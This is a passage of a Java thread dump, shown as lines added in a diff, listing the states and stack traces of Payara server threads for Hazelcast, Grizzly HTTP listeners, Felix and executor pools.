+ at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"payara-executor-service-task" #146 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@699f5ebf + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"Notification Thread" #19 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"RunLevelControllerThread-1785653510576" #46 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@5afb5ca2 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"hz.blissful_keller.scheduled.thread-" #69 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@11013e5c + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"GF Domain XML" #62 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@1901509b + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"admin-listener-expirer(1)" #135 daemon [TIMED_WAITING] on java.lang.Object@62a02909 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:148) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"FelixStartLevel" #30 daemon [WAITING] on java.util.ArrayList@392bfad8 + java.lang.Thread.State: WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.lang.Object.wait(Object.java:339) + at org.apache.felix.framework.FrameworkStartLevelImpl.run(FrameworkStartLevelImpl.java:274) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"hz.blissful_keller.generic-operation.thread-0" #84 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@21cc1f54 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"payara-executor-service-task" #57 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@699f5ebf + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"EventAdminAsyncThread #6" #175 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@32af53a1 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"GF Domain XML" #64 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@1901509b + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"CM Event Dispatcher" #168 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3cd68c0a + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingDeque.takeFirst(LinkedBlockingDeque.java:485) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingDeque.take(LinkedBlockingDeque.java:673) + at org.apache.felix.cm.impl.UpdateThread.run(UpdateThread.java:73) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"hz.blissful_keller.partition-operation.thread-4" #76 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.blissful_keller.TcpServer.thread-3" #114 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@29d4ea14 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"http-thread-pool::http-listener-1(1)" #120 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@5556680 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:458) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1257) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"FelixDispatchQueue" #23 daemon [WAITING] on java.util.ArrayList@229a836e + java.lang.Thread.State: WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.lang.Object.wait(Object.java:339) + at org.apache.felix.framework.EventDispatcher.run(EventDispatcher.java:1122) + at org.apache.felix.framework.EventDispatcher.access$000(EventDispatcher.java:54) + at org.apache.felix.framework.EventDispatcher$1.run(EventDispatcher.java:102) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"Job Cleanup Service" #159 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@79c543bf + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"hz.blissful_keller.MetricsRegistry.thread-1" #98 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@251ea44d + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"http-thread-pool::http-listener-1(3)" #122 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@5556680 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:458) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1257) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"hz.blissful_keller.response-0" #70 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationservice.impl.InboundResponseHandlerSupplier$ResponseThread.doRun(InboundResponseHandlerSupplier.java:295) + at com.hazelcast.spi.impl.operationservice.impl.InboundResponseHandlerSupplier$ResponseThread.executeRun(InboundResponseHandlerSupplier.java:284) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.blissful_keller.partition-operation.thread-2" #74 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"Executor-Service-5" #142 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@1d0f042f + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"hz.blissful_keller.IO.thread-in-1" #105 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.11/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:292) + at com.hazelcast.internal.networking.nio.NioThread.executeRun(NioThread.java:249) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"payara-executor-service-scheduled-task" #163 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4bc26e54 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"http-listener-1-kernel(1) SelectorRunner" #126 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.11/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:88) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:308) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:248) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"payara-executor-service-scheduled-task" #161 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4bc26e54 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"FelixResolver-2" #25 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@36b470d1 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"http-thread-pool::http-listener-2(1)" #127 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@3898f913 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:458) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at 